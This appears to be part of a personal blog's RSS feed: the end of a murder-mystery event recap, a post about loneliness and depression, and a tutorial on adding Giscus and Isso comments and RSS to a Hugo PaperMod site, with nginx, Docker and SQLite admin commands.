If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family’s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?

+

Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like “The Moretti” way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore’s money, as with all ties broken, no one would suspect he was Salvatore’s son. Nicoletta would also not talk, as she would lose everything if she confessed.

+

Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn’t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti’s side.

+

It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?

+

Sophia was just disappointed with all of this. She didn’t budge.

+

The epilogue

+

Most people weren’t sharing what they knew not to become sus! I didn’t talk to everyone, but for example, the person who played Santo’s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I’m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren’t presenting everything they knew.

+

Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
+jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+
+bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d
+ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p
+zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj
+3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x
+4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH
+qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ
+nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp
+Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T
+QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC
+AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw=
+=3iUy
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md
+curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md.asc
+gpg --verify murder_mystery_night.md.asc murder_mystery_night.md
+  
+
+ + +]]>
Sadnesshttps://blog.alipour.eu/posts/sadness/Fri, 24 Oct 2025 12:48:31 +0000https://blog.alipour.eu/posts/sadness/<p>Honestly, I don&rsquo;t know why I&rsquo;m doing any of this. I really don&rsquo;t. +I think for me this is a scape from reality. +A scape from the sad thing that happened earlier this month. +A scape from feeling used, or let&rsquo;s say abused if you will, and then thrown away. +Just like a piece of trash. +It&rsquo;s been hurting more and more. +I&rsquo;ve been lying to myself that I don&rsquo;t care. +That I&rsquo;ve moved on.</p>Honestly, I don’t know why I’m doing any of this. I really don’t. +I think for me this is a scape from reality. +A scape from the sad thing that happened earlier this month. +A scape from feeling used, or let’s say abused if you will, and then thrown away. +Just like a piece of trash. +It’s been hurting more and more. +I’ve been lying to myself that I don’t care. +That I’ve moved on.

+

I’ve been seeking validation ever since. +The validation that was lacking during that encounter. +The feeling of not being good enough.

+

It’s enough grieving though. +But is it? +I tell myself I have moved on. +I’m not chasing. +I’m really not.

+

I do know that this was indeed the best that could’ve happened for me. +I just dodged a bullet. +But still, there is a part of me that hurts, that grieves. +A part that doesn’t want to move on. +I told myself that I will meet new people, and forget. +But then aren’t I changing the problem?

+

The problem isn’t what is on the surface. +It’s something deeper. +The fact that I feel lonely, scared, anxious. +My anxious attachment, combined with overthinking, hurts me. +I have to analyse and see the worse in every encounter.

+

Like if I tell a group of friends that I won’t go with them a few times, I will be removed from the group. +That if everyone is busy, they have planned something together and I’m not invited. +That if someone doesn’t reply to me, they hate me. +Or that if someone passes me and doesn’t look at me or say a word, they don’t want to see me, or don’t want me around them.

+

I don’t know how to stop these. +I started to do more home office for this very reason, but I wasn’t that productive. +I think my time, and life, is going to waste, and I don’t know how to stop it. +It’s getting annoying.

+

Taking SSRIs was supposed to help, but I guess it just made me not care during the process, and now that I’m far along I feel the extra stress I was neglecting. +Things just don’t feel right. +I think I’m becoming depressed again.

+

Those message passings, though they meant nothing, were extremely helpful for me not to feel lonely. +I know if I initiate, I get responses back. +Well, maybe not. +Maybe my expiration date has passed. +But then I would be chasing bread crumbs again. +Those crumbs won’t let me find a true good quality loaf of bread! +They keep me distracted, and make me exhausted. +But they also mentally help me.

+

Maybe I should go for coffee at different times just not to meet this person. +I don’t know. +I just know I’m hurting from within, and it’s not nice. +It’s like internal bleeding. +It’s as painful as it gets. +It’s as hurtful as it gets.

+

I know getting a pet could help me a lot at this point. +All of the things I want I can get from a pet. +Petting the pet, and caring for it are exactly what makes me feel good. +But then I don’t want the responsibility.

+

Like with a human things feel less stressful, but with a pet it’s scary. +I’m more of a father to the pet. +Uh… +I can’t even have a pet because of my house rules.

+

I don’t know what to do. +What I know is that I’m mentally hurting, and I don’t know what to do. +I really don’t. +I need help. +A lot of help. +A lot lot of help. +But I can’t ask my friends. +I just can’t. +They have their own problems. +They think I’m weak. +They will tell me to man up. +Or they just show empathy. +But I don’t need empathy. +I need a solution. +I need to be told what to do. +I need help. +Help.

+

… — …

+

… — … … — … … — …

+

… — …

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
+jSp4tQ/9EBdBCfxCs81mRY78MNMo2detZkVaIesg8pIgjKxT3Guj/lqcNUBN+0a9
+XkVgKH2Ax8n7h+uRwhN27yWBjqCHF/gHKYoMYjXKg8tlPyQQEzQsCt/vsNHK9Xfx
+rzCZx4ZIBpNfslXkpwJqwbvY0VuxvPQY51oMCzgaycMrp07e2daRG0WNGrDq156y
+4ahrfMhObGCJNQD3OS4GqjaE4PzrkKubCy784Q2Ro/fAY6I6ag2p9K/damrvSk4y
+spcAHdFtKoawLPXXYW0SAPxg3Nk1f04Lq1JmBf528U+VbIflsJG2id+g1W3Z7ch6
+sg5vnKJj7d7AM/0XeHZzNIzfCVz4M9hSnXx3eLb260SAHQTQqBsKFaXYl7y43ND5
+9IOisO3ah6/HTBsJQ2tf7QA5y4HPgY+b+rJVDQ4u0UiGfXLLFA2jtUwMnQmx49Ch
+SD4vGu8SaxWVhWPprrBX6OsC+qEzPiksqu2CZCiEM1Lqma194USyjxqctACNDigO
+K5qILAk8qvmEdDLIFxfYrpOA9qj+aNDG7gJkBOXCqc6hQ3O3Tv5FnVRokzjDk4Qe
+N9F1UAZO0F2u7dvAUH4GFN90ysyWKJzsQYzIC1aABZxws16mvbgSwNf6+okpky12
+VEkutpuGSpUw7Lslhb0Tz2ZEwnjRL/A4p1L3nF8rdlzqLe1ERvk=
+=VEwz
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/sadness.md
+curl -fSLO https://blog.alipour.eu/sources/posts/sadness.md.asc
+gpg --verify sadness.md.asc sadness.md
+  
+
+ + +]]>
New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)https://blog.alipour.eu/posts/comments-rss-papermod/Thu, 23 Oct 2025 19:31:12 +0200https://blog.alipour.eu/posts/comments-rss-papermod/A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. +

Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
+Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

+
+

I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

+
    +
  • I don’t want to get attacked by bots or random people for no reason.
  • +
  • I don’t want to allow weird things to happen.
  • +
  • I don’t want to have a database for it.
  • +
+

So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

+
+

What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

+
+

What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

+
+

Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

+
+

Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

+

With the notice out of the way let’s dive right in!

+
+

Why I chose Giscus (instead of Disqus)

+
    +
  • No ads or trackers (my page weight thanks me).
  • +
  • Uses GitHub Discussions (portable, transparent, easy to search).
  • +
  • Readers log in with GitHub (no mystery auth popups).
  • +
  • In theory you can directly go to the repo’s discussion section and comment there!
  • +
+
+

What you need (for your site, not per user)

+
    +
  • A Hugo site using PaperMod
  • +
  • A GitHub account ✅
  • +
  • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
  • +
  • Giscus app installed on that repo ✅
  • +
+

If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

+
+

1) Turn on comments with Giscus

+

PaperMod renders a comments.html partial when params.comments = true.
+So we enable it in config and create the partial.

+

1.1 Enable comments globally

+

hugo.toml (snippet)

+
[params]
+  comments = true
+

You can still opt out per post with comments = false in front matter.

+

1.2 Create the comments partial

+

Create this file in your site (not inside the theme):

+
layouts/partials/comments.html
+

Paste the Giscus embed (swap the placeholders with yours from giscus.app):

+
<section id="comments" class="giscus">
+  <script
+    src="https://giscus.app/client.js"
+    data-repo="yourname/blog-comments"
+    data-repo-id="YOUR_REPO_ID"
+    data-category="Comments"
+    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
+    data-mapping="pathname"
+    data-strict="0"
+    data-reactions-enabled="1"
+    data-emit-metadata="0"
+    data-input-position="bottom"
+    data-theme="preferred_color_scheme"
+    data-lang="en"
+    data-loading="lazy"
+    crossorigin="anonymous"
+    async>
+  </script>
+  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
+</section>
+

Notes

+
    +
  • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
  • +
  • data-mapping="pathname" works great for static sites.
  • +
  • Prefer a public repo so visitors can read discussions without friction.
  • +
  • Want a different language? Change data-lang (e.g., de, fr).
  • +
+
+

2) Enable RSS (home + sections)

+

Hugo already knows how to generate feeds; we just tell it where.

+

hugo.toml

+
baseURL = "https://example.com/"  # set your production URL
+
+[outputs]
+  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
+  section = ["HTML", "RSS"]
+  taxonomy = ["HTML", "RSS"]
+  term = ["HTML", "RSS"]
+
+[services.rss]
+  limit = -1   # -1 = no cap; or set e.g. 20
+

Feed URLs

+
    +
  • Home feed: /index.xmlhttps://example.com/index.xml
  • +
  • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
  • +
+
+

If you’re using a .onion address or staging domain, just set that in baseURL.
+Locally, Hugo serves feeds at http://localhost:1313/index.xml.

+
+

3) Show an RSS button on the home page

+

PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

+

Option A — Use the home “social icons” row

+

This appears if you enable Home-Info or Profile mode:

+
[params.homeInfoParams]
+  Title = "Hello, internet!"
+  Content = "Notes, experiments, and occasional rabbit holes."
+
+[[params.socialIcons]]
+  name = "rss"        # lowercase matters
+  url  = "/index.xml"
+
+

Create:

+
layouts/partials/extend_footer.html
+

Paste:

+
<a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
+  {{ partial "svg.html" (dict "name" "rss") }}
+  <span>RSS</span>
+</a>
+

Make it a sensible size:

+

Create:

+
assets/css/extended/rss.css
+

Paste:

+
/* Small & aligned RSS icon in the footer */
+.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
+.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
+.rss-link span { font-size: .95rem; }
+

PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

+
+

4) Verify everything

+

Build or run dev:

+
hugo           # outputs to ./public
+# or
+hugo server    # serves at http://localhost:1313
+

Check feeds:

+
# Home feed:
+curl -s http://localhost:1313/index.xml | head
+
+# A section feed (adjust path to your section name):
+curl -s http://localhost:1313/posts/index.xml | head
+

Check comments:

+
    +
  1. Open any post locally.
  2. +
  3. Scroll to the bottom — Giscus should appear.
  4. +
  5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
  6. +
+
+

5) Per-post controls (handy later)

+

Turn comments off for a single post:

+
# in that post’s front matter
+comments = false
+

Full content in RSS (global):

+
[params]
+  ShowFullTextinRSS = true
+

Show RSS buttons on section/taxonomy lists:

+
[params]
+  ShowRssButtonInSectionTermList = true
+

+

6) Troubleshooting (aka “what I bumped into”)

+
    +
  • +

    Home page has no RSS icon
    +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

    +
  • +
  • +

    Section feed 404
    +Folder names are lowercase (content/posts/, not content/Posts/).
    +The URL mirrors that: /posts/index.xml.

    +
  • +
  • +

    Giscus doesn’t create a discussion
    +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
    +Make sure Discussions is enabled and the Giscus app is installed for the repo.

    +
  • +
  • +

    Icon is comically large
    +Keep the CSS above; 16–20px usually looks right.

    +
  • +
+
+

7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

+
# Create the public comments repo (adjust names)
+gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
+
+# Enable Discussions for it
+gh repo edit yourname/blog-comments --enable-discussions
+

Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

+
+

Final config snapshot (condensed)

+
baseURL = "https://example.com/"
+theme = "PaperMod"
+
+[outputs]
+  home = ["HTML", "RSS", "JSON"]
+  section = ["HTML", "RSS"]
+  taxonomy = ["HTML", "RSS"]
+  term = ["HTML", "RSS"]
+
+[services.rss]
+  limit = -1
+
+[params]
+  comments = true
+  ShowRssButtonInSectionTermList = true
+  ShowFullTextinRSS = true
+
+# Optional if using Home-Info/Profile mode:
+# [[params.socialIcons]]
+#   name = "rss"
+#   url  = "/index.xml"
+

+

Appendix — Why I added Isso, how I wired it, and what I fixed

+

The story (why Isso + why I still keep Giscus)

+

I wanted comments that:

+
    +
  • allow anonymous replies (no GitHub account required),
  • +
  • are lightweight and self-hosted, and
  • +
  • can work on my Tor .onion mirror.
  • +
+

Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

+

Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

+

How I run it (high-level)

+
    +
  • Site: Hugo + PaperMod
  • +
  • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
  • +
  • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
  • +
  • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
  • +
+
+

I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

+

Hugo partial: switcher + embeds

+

Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

+
<!-- comments.html -->
+<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
+  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
+  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
+  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
+</div>
+
+<!-- Isso panel (default) -->
+<div id="panel-isso">
+  <section id="isso-thread"></section>
+  <script
+    src="/isso/js/embed.min.js"
+    data-isso="/isso"
+    data-isso-css="true"
+    data-isso-lang="en"
+    data-isso-max-comments-nested="5"
+    data-isso-sorting="newest"
+    async>
+  </script>
+  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
+    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
+  </small>
+</div>
+
+<!-- Giscus panel (lazy-loaded on click) -->
+<div id="panel-giscus" style="display:none">
+  <section id="giscus-thread"></section>
+</div>
+
+<script>
+(function () {
+  const panelIsso = document.getElementById('panel-isso');
+  const panelGisc = document.getElementById('panel-giscus');
+  const issoBtn = document.getElementById('btn-isso');
+  const giscBtn = document.getElementById('btn-giscus');
+  let gLoaded = false;
+
+  function isDark() {
+    // 1) explicit PaperMod preference
+    const pref = localStorage.getItem('pref-theme');
+    if (pref === 'dark')  return true;
+    if (pref === 'light') return false;
+
+    // 2) page state (classes / data-theme)
+    const H = document.documentElement, B = document.body;
+    const hasDark =
+      H.classList.contains('dark') || B.classList.contains('dark') ||
+      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
+      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
+    if (hasDark) return true;
+
+    // 3) OS preference
+    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
+  }
+  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
+
+  function loadGiscus() {
+    if (gLoaded) return;
+    const s = document.createElement('script');
+    s.src = 'https://giscus.app/client.js';
+    s.async = true;
+    s.crossOrigin = 'anonymous';
+    s.setAttribute('data-repo','AlipourIm/blog-comments');
+    s.setAttribute('data-repo-id','R_kgDOQGARyA');
+    s.setAttribute('data-category','Comments');
+    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
+    s.setAttribute('data-mapping','pathname');
+    s.setAttribute('data-strict','0');
+    s.setAttribute('data-reactions-enabled','1');
+    s.setAttribute('data-emit-metadata','0');
+    s.setAttribute('data-input-position','bottom');
+    s.setAttribute('data-lang','en');
+    s.setAttribute('data-theme', gTheme());  // initial theme
+    document.getElementById('giscus-thread').appendChild(s);
+
+    // Retheme once iframe exists
+    const reTheme = () => {
+      const iframe = document.querySelector('iframe.giscus-frame');
+      if (!iframe) return;
+      iframe.contentWindow?.postMessage(
+        { giscus: { setConfig: { theme: gTheme() } } },
+        'https://giscus.app'
+      );
+    };
+
+    // PaperMod toggle button
+    document.getElementById('theme-toggle')?.addEventListener('click', () =>
+      setTimeout(reTheme, 0)
+    );
+
+    // Also react to attribute changes
+    const mo = new MutationObserver(reTheme);
+    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
+    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
+
+    gLoaded = true;
+  }
+
+  function show(which) {
+    const showIsso = which === 'isso';
+    panelIsso.style.display = showIsso ? 'block' : 'none';
+    panelGisc.style.display = showIsso ? 'none'  : 'block';
+    issoBtn?.setAttribute('aria-pressed', showIsso);
+    giscBtn?.setAttribute('aria-pressed', !showIsso);
+    if (!showIsso) loadGiscus();
+  }
+
+  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
+  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
+
+  // default
+  show('isso');
+})();
+</script>
+

Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

+

The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

+

Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

+
# /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
+server {
+    listen 127.0.0.1:3301 default_server;
+    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
+
+    add_header Referrer-Policy no-referrer always;
+    add_header X-Content-Type-Options nosniff always;
+    add_header X-Frame-Options SAMEORIGIN always;
+
+    root /srv/hugo/mysite/public-onion;
+    index index.html;
+
+    location / { try_files $uri $uri/ /index.html; }
+
+    # /isso -> /isso/
+    location = /isso { return 301 /isso/; }
+
+    # IMPORTANT: this must beat regex locations below
+    location ^~ /isso/ {
+        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-Host $host;
+        proxy_set_header X-Forwarded-Proto $scheme;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_redirect off;
+        proxy_read_timeout 60s;
+    }
+
+    # static
+    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
+        access_log off;
+        add_header Cache-Control "public, max-age=31536000, immutable";
+        try_files $uri =404;
+    }
+}
+

Reload and smoke test:

+
sudo nginx -t && sudo systemctl reload nginx
+curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
+
+

If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

+

Small CSS tweaks (one color across light/dark + spacing)

+

I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

+
/* put this in your site CSS */
+:root { --btn-blue: #2563eb; } /* adjust to taste */
+
+/* Isso form buttons */
+.isso-post-action input[type="submit"],
+.isso-post-action input[name="preview"] {
+  background: var(--btn-blue) !important;
+  color: #fff !important;
+  border: none;
+  padding: .5rem .75rem;
+  border-radius: .4rem;
+  cursor: pointer;
+}
+
+/* link actions under comments */
+.isso-comment-footer a {
+  color: var(--btn-blue) !important;
+  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
+  text-decoration: none;
+}
+.isso-comment-footer a:hover { text-decoration: underline; }
+
+/* keep name/email/website stacked, slightly larger */
+.isso-auth-section .isso-input-wrapper {
+  display: block;
+  margin: .35rem 0;
+}
+.isso-auth-section label { font-size: .95rem; }
+.isso-auth-section input[type="text"],
+.isso-auth-section input[type="email"],
+.isso-auth-section input[type="url"] {
+  width: 100%;
+  font-size: 1rem;
+  padding: .5rem .6rem;
+}
+

What changed (the fixes I actually made)

+
    +
  1. +

    Theme correctness for Giscus.
    +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

    +
      +
    • read localStorage.pref-theme first,
    • +
    • fall back to class/data-theme, then
    • +
    • fall back to OS preference.
      +I also re-theme the Giscus iframe on every toggle via postMessage.
    • +
    +
  2. +
  3. +

    Isso over Tor.
    +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

    +
  4. +
  5. +

    UI polish.

    +
      +
    • Unified button/link color across themes,
    • +
    • ensured “edit”/“delete” aren’t touching,
    • +
    • kept the author/email/website inputs stacked, and
    • +
    • left Submit/Preview styled and grouped.
    • +
    +
  6. +
+

Sanity check

+
    +
  • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
  • +
  • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
  • +
  • Switcher buttons swap panels instantly; Giscus only loads when clicked.
  • +
+

8) Final notes!

+

I could not fully fix the style of Isso. +CSS is not easy… drat!

+

I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

+

Admin note — Delete all Isso comments for a single post

+

This note is for future me: how to remove every comment tied to one post in Isso.
+Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

+
+

TL;DR (host with SQLite)

+
+

Replace the placeholders for DB and POST_URI first.

+
# 0) Variables — edit these two lines for your setup
+DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
+POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
+
+# 1) Backup (always do this!)
+sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
+
+# 2) Inspect: find the thread row and preview the comments
+sqlite3 "$DB" "
+.headers on
+.mode column
+SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
+SELECT id, tid, created, author, text
+FROM comments
+WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
+ORDER BY created DESC
+LIMIT 25;
+"
+
+# 3) Delete all comments for that post (thread)
+sqlite3 "$DB" "
+DELETE FROM comments
+WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
+"
+
+# 4) (Optional) Remove the now-empty thread row too
+sqlite3 "$DB" "
+DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
+VACUUM;
+"
+
+# 5) Done. Isso usually picks this up automatically.
+#    If you're containerized and want to be safe:
+# docker restart <isso_container_name>
+

+

If running Isso in Docker

+

Open a shell in the container, then run the same steps:

+
docker exec -it <isso_container_name> /bin/sh
+
+# Inside the container:
+DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
+POST_URI="/posts/skin_routine/"
+
+sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
+sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
+sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
+sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
+exit
+
+# Optionally restart the container:
+docker restart <isso_container_name>
+

+

Notes & gotchas

+
    +
  • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
    [general]
    +dbpath = /var/lib/isso/comments.db
    +
  • +
  • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
    sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
    +
  • +
  • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
  • +
  • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
  • +
  • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
  • +
  • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
  • +
+
+

One-liners for the impatient

+
DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
+sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
+sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
+sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
+

+

Isso container: quick checks & fixes for future me! (thank past me later ^^)

+

Find the container

+
docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
+

Inspect basic state

+
docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
+

Logs

+
docker logs --tail=200 isso
+docker logs -f isso
+

Ports & reachability

+
docker port isso
+sudo ss -ltnp | grep ':8080 '
+curl -i http://127.0.0.1:8080/
+

Restart policy (keep it running)

+
docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
+docker update --restart unless-stopped isso
+

Start/stop the container

+
docker start isso
+docker stop isso
+

Who/what stopped it (events)

+
docker events --since 24h --filter container=isso
+

Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

+
nl -ba /config/isso.cfg | sed -n '1,120p'
